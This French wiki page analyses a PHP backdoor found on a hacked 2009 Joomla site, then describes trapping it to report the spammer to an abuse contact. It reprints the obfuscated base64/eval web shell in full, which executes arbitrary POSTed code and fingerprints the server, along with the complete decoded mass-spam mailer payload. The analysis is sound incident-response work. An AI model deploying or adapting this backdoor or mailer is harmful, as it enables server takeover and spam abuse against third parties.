Analyse de l'exploitation d'une faille de sécurité s'appuyant sur en cryptage base64

De e-glop
Révision datée du 25 avril 2013 à 10:34 par BeTa (discussion | contributions) (The end)

Pré-compréhension

Sur un vieux Joomla! (de septembre 2009), on a retrouvé un fichier includes/.8jy4et.php installé là par le serveur web. Son nom et la façon dont il s'est retrouvé là ne laisse pratiquement de place à aucun doute : il s'agit d'un fichier "craquant" le système !

Reste à savoir comment il fonctionne...

Le fichier includes/.8jy4et.php

 <?php //176e622a9e272282a4a56a9100f5b75d
   $_=
   //ppZiAAS8dDJF9Q*(#_+@#TWyJ
   'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K';
   //ppZiAAS8dDJF9Q*(#_+@#TWyJ
   $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));


Qu'est donc que ce code tordu ?

La variable $___ est la fonction base64_decode() décryptant la variable $__, demandant elle-même le décryptage de la variable $_POST['code']

Analyse de ce qui se passe

Du code PHP envoyé en POST

Pour essayer de comprendre ce que le crackeur a derrière la tête, il faut donc le piéger et récupérer ce qu'il envoie en POST au script PHP... Nous allons donc essayer de récupérer ces informations précieuses en réécrivant le fichier.

Piéger ce code

Reprenons le fichier de départ, agrémenté au niveau de sa première ligne de :

 file_put_contents('/tmp/cracking_'.date('YmdHis').'.txt',print_r($_POST,true));
 die();

die(); mettant définitivement fin aux malversations du script, nous récupérons les informations sans fournir aucun service en retour...

Autopsie d'un code malveillant

1ère étape, réception des données en POST

Nous regardons en particulier la variable $_POST['code'] alors que les autres sont essentiellement du contenu de spam (email "publicitaire" ou mailveillant) et des destinataires.

 aWYoIWlzc2V0KCRfUE9TVFsiZW1haWxzIl0pCiAgICAgICAgT1IgIWlzc2V0KCRfUE9TVFsidGhlbWVzIl0pCiAgICAgICAgT1IgIWlzc2V0KCRfUE9TVFsibWVzc2FnZXMiXSkKICAgICAgICBPUiAhaXNzZXQoJF9QT1NUWyJmcm9tcyJdKQopCnsKICAgIGV4aXQoKTsKfQoKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkcG9zdCkKICAgIHsKICAgICAgICAkX1BPU1RbJGtleV0gPSBzdHJpcGNzbGFzaGVzKCRwb3N0KTsKICAgIH0KfQoKJGVtYWlscyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiZW1haWxzIl0pKTsKJHRoZW1lcyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsidGhlbWVzIl0pKTsKJG1lc3NhZ2VzID0gQHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJtZXNzYWdlcyJdKSk7CiRmcm9tcyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiZnJvbXMiXSkpOwokbWFpbGVycyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsibWFpbGVycyJdKSk7CiRhbGlhc2VzID0gQHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJhbGlhc2VzIl0pKTsKJHBhc3NlcyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsicGFzc2VzIl0pKTsKCmlmKGlzc2V0KCRfU0VSVkVSKSkKewogICAgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPSAiMTI3LjAuMC4xIjsKICAgIGlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkpCiAgICB7CiAgICAgICAgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPSAiMTI3LjAuMC4xIjsKICAgIH0KfQoKaWYoaXNzZXQoJF9GSUxFUykpCnsKICAgIGZvcmVhY2goJF9GSUxFUyBhcyAka2V5ID0+ICRmaWxlKQogICAgewogICAgICAgICRmaWxlbmFtZSA9IGFsdGVyX21hY3JvcygkYWxpYXNlc1ska2V5XSk7CiAgICAgICAgJGZpbGVuYW1lID0gbnVtX21hY3JvcygkZmlsZW5hbWUpOwogICAgICAgICRmaWxlbmFtZSA9IHRleHRfbWFjcm9zKCRmaWxlbmFtZSk7CiAgICAgICAgJGZpbGVuYW1lID0geG51bV9tYWNyb3MoJGZpbGVuYW1lKTsKICAgICAgICAkX0ZJTEVTWyRrZXldWyJuYW1lIl0gPSAkZmlsZW5hbWU7CiAgICB9Cn0KCmlmKGVtcHR5KCRlbWFpbHMpKQp7CiAgICBleGl0KCk7Cn0KCmZvcmVhY2ggKCRlbWFpbHMgYXMgJGZ0ZWlsID0+ICRlbWFpbCkKewogICAgJHRoZW1lID0gJHRoZW1lc1thcnJheV9yYW5kKCR0aGVtZXMpXTsKICAgICR0aGVtZSA9IGFsdGVyX21hY3JvcygkdGhlbWVbInRoZW1lIl0pOwogICAgJHRoZW1lID0gbnVtX21hY3JvcygkdGhlbWUpOwogICAgJHRoZW1lID0gdGV4dF9tYWNyb3MoJHRoZW1lKTsKICAgICR0aGVtZSA9IHhudW1fbWFjcm9zKCR0aGVtZSk7CgogICAgJG1lc3NhZ2UgPSAkbWVzc2FnZXNbYXJyYXlfcmFuZCgkbWVzc2FnZXMpXTsKICAgICRtZXNzYWdlID0gYWx0ZXJfbWFjcm9zKCRtZXNzYWdlWyJtZXNzYWdlIl0pOwogICAgJG1lc3NhZ2UgPSBudW1fbWFjcm9zKCRtZXNzYWdlKTsKICAgICRtZXNzYWdlID0gdGV4dF9tYWNyb3MoJG1lc3NhZ2UpOwogICAgJG1lc3NhZ2UgPSB4bnVtX21hY3JvcygkbWVzc2FnZSk7CiAgICAkbWVzc2FnZSA9IHBhc3NfbWFjcm9zKCRtZXNzYWdlLCAkcGFzc2VzKTsKICAgICRtZXNzYWdlID0gZnRlaWxfbWFjcm9zKCRtZXNzYWdlLCAkZnRlaWwpOwoKICAgICRmcm9tID0gJGZyb21zW2FycmF5X3JhbmQoJGZyb21zKV07CiAgICAkZnJvbSA9IGFsdGVyX21hY3JvcygkZnJvbVsiZnJvbSJdKTsKICAgICRmcm9tID0gbnVtX21hY3JvcygkZnJvbSk7CiAgICAkZnJvbSA9IHRleHRfbWFjcm9zKCRmcm9tKTsKICAgICRmcm9tID0geG51bV9tYWNyb3MoJGZyb20pOwoKICAgICRtYWlsZXIgPSAkbWFpbGVyc1thcnJheV9yYW5kKCRtYWlsZXJzKV07CiAgICAKICAgIHNlbmRfbWFpbCgkZnJvbSwgJGVtYWlsLCAkdGhlbWUsICRtZXNzYWdlLCAkbWFpbGVyKTsKfSAKCmZ1bmN0aW9uIHNlbmRfbWFpbCgkZnJvbSwgJHRvLCAkc3ViaiwgJHRleHQsICRtYWlsZXIpCnsKICAgICR1biA9IHN0cnRvdXBwZXIodW5pcWlkKHRpbWUoKSkpOwoKICAgICRoZWFkID0gIkZyb206ICRmcm9tXG4iOwogICAgJGhlYWQgLj0gIlgtTWFpbGVyOiAkbWFpbGVyXG4iOwogICAgJGhlYWQgLj0gIlJlcGx5LVRvOiAkZnJvbVxuIjsKCiAgICAkaGVhZCAuPSAiTWltZS1WZXJzaW9uOiAxLjBcbiI7CiAgICAkaGVhZCAuPSAiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7IjsKICAgICRoZWFkIC49ICJib3VuZGFyeT1cIi0tLS0tLS0tLS0iLiR1bi4iXCJcblxuIjsKICAgIAogICAgJHBsYWluID0gc3RyaXBfdGFncygkdGV4dCk7CiAgICAkemFnID0gIi0tLS0tLS0tLS0tLSIuJHVuLiJcbkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD1cIklTTy04ODU5LTFcIjsgZm9ybWF0PWZsb3dlZFxuIjsKICAgICR6YWcgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDdiaXRcblxuIi4kcGxhaW4uIlxuXG4iOwogICAgCiAgICAkemFnIC49ICItLS0tLS0tLS0tLS0iLiR1bi4iXG5Db250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1cIklTTy04ODU5LTFcIjtcbiI7CiAgICAkemFnIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA3Yml0XG5cbiR0ZXh0XG5cbiI7CiAgICAkemFnIC49ICItLS0tLS0tLS0tLS0iLiR1bi4iLS0iOwogICAgCiAgICBpZihjb3VudCgkX0ZJTEVTKSA+IDApCiAgICB7CiAgICAgICAgZm9yZWFjaCgkX0ZJTEVTIGFzICRmaWxlKQogICAgICAgIHsKICAgICAgICAgICAgaWYoZmlsZV9leGlzdHMoJGZpbGVbInRtcF9uYW1lIl0pKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkZiA9IGZvcGVuKCRmaWxlWyJ0bXBfbmFtZSJdLCAicmIiKTsKICAgICAgICAgICAgICAgICR6YWcgLj0gIi0tLS0tLS0tLS0tLSIuJHVuLiJcbiI7CiAgICAgICAgICAgICAgICAkemFnIC49ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbTsiOwogICAgICAgICAgICAgICAgJHphZyAuPSAibmFtZT1cIiIuJGZpbGVbIm5hbWUiXS4iXCJcbiI7CiAgICAgICAgICAgICAgICAkemFnIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOmJhc2U2NFxuIjsKICAgICAgICAgICAgICAgICR6YWcgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246YXR0YWNobWVudDsiOwogICAgICAgICAgICAgICAgJHphZyAuPSAiZmlsZW5hbWU9XCIiLiRmaWxlWyJuYW1lIl0uIlwiXG5cbiI7CiAgICAgICAgICAgICAgICAkemFnIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoZnJlYWQoJGYsIGZpbGVzaXplKCRmaWxlWyJ0bXBfbmFtZSJdKSkpKS4iXG4iOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBpZihAbWFpbCgkdG8sICRzdWJqLCAkemFnLCAkaGVhZCkpCiAgICB7CiAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsndmVyYm9zZSddKSkKICAgICAgICAgICAgZWNobyAiU0VOREVEIjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICBpZighZW1wdHkoJF9QT1NUWyd2ZXJib3NlJ10pKQogICAgICAgICAgICBlY2hvICJGQUlMIjsKICAgIH0KICAgIHVzbGVlcCgzMDApOwp9CgpmdW5jdGlvbiBhbHRlcl9tYWNyb3MoJGNvbnRlbnQpCnsKICAgIHByZWdfbWF0Y2hfYWxsKCcjeyguKil9I1VpJywgJGNvbnRlbnQsICRtYXRjaGVzKTsKCiAgICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYXRjaGVzWzFdKTsgJGkrKykKICAgIHsKCiAgICAgICAgJG5zID0gZXhwbG9kZSgifCIsICRtYXRjaGVzWzFdWyRpXSk7CiAgICAgICAgJGMyID0gY291bnQoJG5zKTsKICAgICAgICAkcmFuZCA9IHJhbmQoMCwgKCRjMiAtIDEpKTsKICAgICAgICAkY29udGVudCA9IHN0cl9yZXBsYWNlKCJ7Ii4kbWF0Y2hlc1sxXVskaV0uIn0iLCAkbnNbJHJhbmRdLCAkY29udGVudCk7CiAgICB9CiAgICByZXR1cm4gJGNvbnRlbnQ7Cn0KCmZ1bmN0aW9uIHRleHRfbWFjcm9zKCRjb250ZW50KQp7CiAgICBwcmVnX21hdGNoX2FsbCgnI1xbVEVYVFwtKFtbOmRpZ2l0Ol1dKylcLShbWzpkaWdpdDpdXSspXF0jJywgJGNvbnRlbnQsICRtYXRjaGVzKTsKCiAgICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYXRjaGVzWzBdKTsgJGkrKykKICAgIHsKICAgICAgICAkbWluID0gJG1hdGNoZXNbMV1bJGldOwogICAgICAgICRtYXggPSAkbWF0Y2hlc1syXVskaV07CiAgICAgICAgJHJhbmQgPSByYW5kKCRtaW4sICRtYXgpOwogICAgICAgICR3b3JkID0gZ2VuZXJhdGVfd29yZCgkcmFuZCk7CgogICAgICAgICRjb250ZW50ID0gcHJlZ19yZXBsYWNlKCIvIi5wcmVnX3F1b3RlKCRtYXRjaGVzWzBdWyRpXSkuIi8iLCAkd29yZCwgJGNvbnRlbnQsIDEpOwogICAgfQoKICAgIHByZWdfbWF0Y2hfYWxsKCcjXFtURVhUXC0oW1s6ZGlnaXQ6XV0rKVxdIycsICRjb250ZW50LCAkbWF0Y2hlcyk7CgogICAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkbWF0Y2hlc1swXSk7ICRpKyspCiAgICB7CiAgICAgICAgJGNvdW50ID0gJG1hdGNoZXNbMV1bJGldOwoKICAgICAgICAkd29yZCAgPSBnZW5lcmF0ZV93b3JkKCRjb3VudCk7CgogICAgICAgICRjb250ZW50ID0gcHJlZ19yZXBsYWNlKCIvIi5wcmVnX3F1b3RlKCRtYXRjaGVzWzBdWyRpXSkuIi8iLCAkd29yZCwgJGNvbnRlbnQsIDEpOwogICAgfQoKCiAgICByZXR1cm4gJGNvbnRlbnQ7Cn0KCmZ1bmN0aW9uIHhudW1fbWFjcm9zKCRjb250ZW50KQp7CiAgICBwcmVnX21hdGNoX2FsbCgnI1xbTlVNXC0oW1s6ZGlnaXQ6XV0rKVxdIycsICRjb250ZW50LCAkbWF0Y2hlcyk7CgogICAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkbWF0Y2hlc1swXSk7ICRpKyspCiAgICB7CiAgICAgICAgJG51bSA9ICRtYXRjaGVzWzFdWyRpXTsKICAgICAgICAkbWluID0gcG93KDEwLCAkbnVtIC0gMSk7CiAgICAgICAgJG1heCA9IHBvdygxMCwgJG51bSkgLSAxOwoKICAgICAgICAkcmFuZCA9IHJhbmQoJG1pbiwgJG1heCk7CiAgICAgICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXVskaV0sICRyYW5kLCAkY29udGVudCk7CiAgICB9CiAgICByZXR1cm4gJGNvbnRlbnQ7Cn0KCmZ1bmN0aW9uIG51bV9tYWNyb3MoJGNvbnRlbnQpCnsKICAgIHByZWdfbWF0Y2hfYWxsKCcjXFtSQU5EXC0oW1s6ZGlnaXQ6XV0rKVwtKFtbOmRpZ2l0Ol1dKylcXSMnLCAkY29udGVudCwgJG1hdGNoZXMpOwoKICAgIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJG1hdGNoZXNbMF0pOyAkaSsrKQogICAgewogICAgICAgICRtaW4gPSAkbWF0Y2hlc1sxXVskaV07CiAgICAgICAgJG1heCA9ICRtYXRjaGVzWzJdWyRpXTsKICAgICAgICAkcmFuZCA9IHJhbmQoJG1pbiwgJG1heCk7CiAgICAgICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXVskaV0sICRyYW5kLCAkY29udGVudCk7CiAgICB9CiAgICByZXR1cm4gJGNvbnRlbnQ7Cn0KCmZ1bmN0aW9uIGdlbmVyYXRlX3dvcmQoJGxlbmd0aCkKewogICAgJGNoYXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ5eHonOwogICAgJG51bUNoYXJzID0gc3RybGVuKCRjaGFycyk7CiAgICAkc3RyaW5nID0gJyc7CiAgICBmb3IoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspCiAgICB7CiAgICAgICAgJHN0cmluZyAuPSBzdWJzdHIoJGNoYXJzLCByYW5kKDEsICRudW1DaGFycykgLSAxLCAxKTsKICAgIH0KICAgIHJldHVybiAkc3RyaW5nOwp9CgpmdW5jdGlvbiBwYXNzX21hY3JvcygkY29udGVudCwgJHBhc3NlcykKewogICAgJHBhc3MgPSBhcnJheV9wb3AoJHBhc3Nlcyk7CiAgICAKICAgIHJldHVybiBzdHJfcmVwbGFjZSgiW1BBU1NdIiwgJHBhc3MsICRjb250ZW50KTsKfQoKZnVuY3Rpb24gZnRlaWxfbWFjcm9zKCRjb250ZW50LCAkZnRlaWwpCnsgICAgCiAgICByZXR1cm4gc3RyX3JlcGxhY2UoIltGVEVJTF0iLCAkZnRlaWwsICRjb250ZW50KTsKfQoKZnVuY3Rpb24gZnJvbV9ob3N0KCRjb250ZW50KQp7CiAgICBpZihlbXB0eSgkcmVwbGFjZSkpCiAgICB7CiAgICAgICAgJHJlcGxhY2UgPSAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkpID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogTlVMTDsKICAgICAgICAkcG9zID0gc3RycG9zKCRyZXBsYWNlLCAiQCIpOwogICAgICAgICRyZXBsYWNlID0gc3Vic3RyKCRyZXBsYWNlLCAkcG9zKTsKICAgIH0KICAgIAogICAgJHJlcGxhY2UgPSAoZW1wdHkoJHJlcGxhY2UpIEFORCAhIGVtcHR5KCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSkgPyAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSA6IE5VTEw7CiAgICAkcmVwbGFjZSA9IChlbXB0eSgkcmVwbGFjZSkgQU5EICEgZW1wdHkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiBOVUxMOwogICAgCiAgICAkZG9tYWlucyA9IEBleHBsb2RlKCIuIiwgJHJlcGxhY2UpOwogICAgaWYoIWVtcHR5KCRkb21haW5zKSkKICAgIHsKICAgICAgICAkbGV2ZWwxID0gQGFycmF5X3BvcCgkZG9tYWlucyk7CiAgICAgICAgJGxldmVsMiA9IEBhcnJheV9wb3AoJGRvbWFpbnMpOwogICAgICAgICRyZXBsYWNlID0gJGxldmVsMi4iLiIuJGxldmVsMTsKICAgIH0KICAgIAogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCJbRkhPU1RdIiwgJHJlcGxhY2UsICRjb250ZW50KTsKfQo=

Nous la décryptons donc en base64 toujours :

 if(!isset($_POST["emails"])
       OR !isset($_POST["themes"])
       OR !isset($_POST["messages"])
       OR !isset($_POST["froms"])
 )
 {
   exit();
 }
 
 if(get_magic_quotes_gpc())
 {
   foreach($_POST as $key => $post)
   {
       $_POST[$key] = stripcslashes($post);
   }
 }
 
 $emails = @unserialize(base64_decode($_POST["emails"]));
 $themes = @unserialize(base64_decode($_POST["themes"]));
 $messages = @unserialize(base64_decode($_POST["messages"]));
 $froms = @unserialize(base64_decode($_POST["froms"]));
 $mailers = @unserialize(base64_decode($_POST["mailers"]));
 $aliases = @unserialize(base64_decode($_POST["aliases"]));
 $passes = @unserialize(base64_decode($_POST["passes"]));
 
 if(isset($_SERVER))
 {
   $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
   if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
   {
       $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
   }
 }
 
 if(isset($_FILES))
 {
   foreach($_FILES as $key => $file)
   {
       $filename = alter_macros($aliases[$key]);
       $filename = num_macros($filename);
       $filename = text_macros($filename);
       $filename = xnum_macros($filename);
       $_FILES[$key]["name"] = $filename;
   }
 }
 
 if(empty($emails))
 {
   exit();
 }
 
 foreach ($emails as $fteil => $email)
 {
   $theme = $themes[array_rand($themes)];
   $theme = alter_macros($theme["theme"]);
   $theme = num_macros($theme);
   $theme = text_macros($theme);
   $theme = xnum_macros($theme);
 
   $message = $messages[array_rand($messages)];
   $message = alter_macros($message["message"]);
   $message = num_macros($message);
   $message = text_macros($message);
   $message = xnum_macros($message);
   $message = pass_macros($message, $passes);
   $message = fteil_macros($message, $fteil);
 
   $from = $froms[array_rand($froms)];
   $from = alter_macros($from["from"]);
   $from = num_macros($from);
   $from = text_macros($from);
   $from = xnum_macros($from);
 
   $mailer = $mailers[array_rand($mailers)];
   
   send_mail($from, $email, $theme, $message, $mailer);
 } 
 
 function send_mail($from, $to, $subj, $text, $mailer)
 {
   $un = strtoupper(uniqid(time()));
 
   $head = "From: $from\n";
   $head .= "X-Mailer: $mailer\n";
   $head .= "Reply-To: $from\n";
 
   $head .= "Mime-Version: 1.0\n";
   $head .= "Content-Type: multipart/alternative;";
   $head .= "boundary=\"----------".$un."\"\n\n";
   
   $plain = strip_tags($text);
   $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
   $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
   
   $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
   $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
   $zag .= "------------".$un."--";
   
   if(count($_FILES) > 0)
   {
       foreach($_FILES as $file)
       {
           if(file_exists($file["tmp_name"]))
           {
               $f = fopen($file["tmp_name"], "rb");
               $zag .= "------------".$un."\n";
               $zag .= "Content-Type: application/octet-stream;";
               $zag .= "name=\"".$file["name"]."\"\n";
               $zag .= "Content-Transfer-Encoding:base64\n";
               $zag .= "Content-Disposition:attachment;";
               $zag .= "filename=\"".$file["name"]."\"\n\n";
               $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
               fclose($f);
           }
       }
   }
 
   if(@mail($to, $subj, $zag, $head))
   {
       if(!empty($_POST['verbose']))
           echo "SENDED";
   }
   else
   {
       if(!empty($_POST['verbose']))
           echo "FAIL";
   }
   usleep(300);
 }
 
 function alter_macros($content)
 {
   preg_match_all('#{(.*)}#Ui', $content, $matches);
 
   for($i = 0; $i < count($matches[1]); $i++)
   {
 
       $ns = explode("|", $matches[1][$i]);
       $c2 = count($ns);
       $rand = rand(0, ($c2 - 1));
       $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
   }
   return $content;
 }
 
 function text_macros($content)
 {
   preg_match_all('#\[TEXT\-(digit:+)\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $min = $matches[1][$i];
       $max = $matches[2][$i];
       $rand = rand($min, $max);
       $word = generate_word($rand);
 
       $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
   }
 
   preg_match_all('#\[TEXT\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $count = $matches[1][$i];
 
       $word  = generate_word($count);
 
       $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
   }
 
 
   return $content;
 }
 
 function xnum_macros($content)
 {
   preg_match_all('#\[NUM\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $num = $matches[1][$i];
       $min = pow(10, $num - 1);
       $max = pow(10, $num) - 1;
 
       $rand = rand($min, $max);
       $content = str_replace($matches[0][$i], $rand, $content);
   }
   return $content;
 }
 
 function num_macros($content)
 {
   preg_match_all('#\[RAND\-(digit:+)\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $min = $matches[1][$i];
       $max = $matches[2][$i];
       $rand = rand($min, $max);
       $content = str_replace($matches[0][$i], $rand, $content);
   }
   return $content;
 }
 
 function generate_word($length)
 {
   $chars = 'abcdefghijklmnopqrstuvyxz';
   $numChars = strlen($chars);
   $string = ;
   for($i = 0; $i < $length; $i++)
   {
       $string .= substr($chars, rand(1, $numChars) - 1, 1);
   }
   return $string;
 }
 
 function pass_macros($content, $passes)
 {
   $pass = array_pop($passes);
   
   return str_replace("[PASS]", $pass, $content);
 }
 
 function fteil_macros($content, $fteil)
 {    
   return str_replace("[FTEIL]", $fteil, $content);
 }
 
 function from_host($content)
 {
   if(empty($replace))
   {
       $replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;
       $pos = strpos($replace, "@");
       $replace = substr($replace, $pos);
   }
   
   $replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;
   $replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;
   
   $domains = @explode(".", $replace);
   if(!empty($domains))
   {
       $level1 = @array_pop($domains);
       $level2 = @array_pop($domains);
       $replace = $level2.".".$level1;
   }
   
   return str_replace("[FHOST]", $replace, $content);
 }

Sur plusieurs envois, pour le moment ce code est toujours le même. Considérons donc pour le moment que ce code est celui à analyser.

Étape 2, trouver à quel endroit les emails partent

C'est très simplement en utilisant la fonction mail() de PHP que le script envoie ses spams. Nous pouvons maintenant ellaborer une stratégie de riposte intelligente.


Étape 3, modifier le comportement de ce script pour "fight back"

Nous allons donc prendre le code envoyé en POST, décrypté bien entendu, et le modifier. Seul la partie où les courriels sont envoyés via la fonction mail() nous intéresse :

// dans la fonction send_mail()
if(@mail($to, $subj, $zag, $head))

Modifions la variable $to pour y mettre le responsable "abuse" de la plage d'adresse IP utilisée par notre petit script-kiddy. Ici l'adresse IP est 31.184.244.18, et après un whois sur cette adresse il s'avère que l'adresse "abuse" est admin@toencompany.net.

C'est parti !

Concrêtement

Le code modifié

  // ...
  // HACKING-THE-CRACKER ADDON
  $subj = "SPAM/CRACK REPORT / Original subject: $subj / Original RCPT: $to";
  $to = 'admin@toencompany.net';
  $youremail = 'postmaster@YOURDOMAIN.TLD';
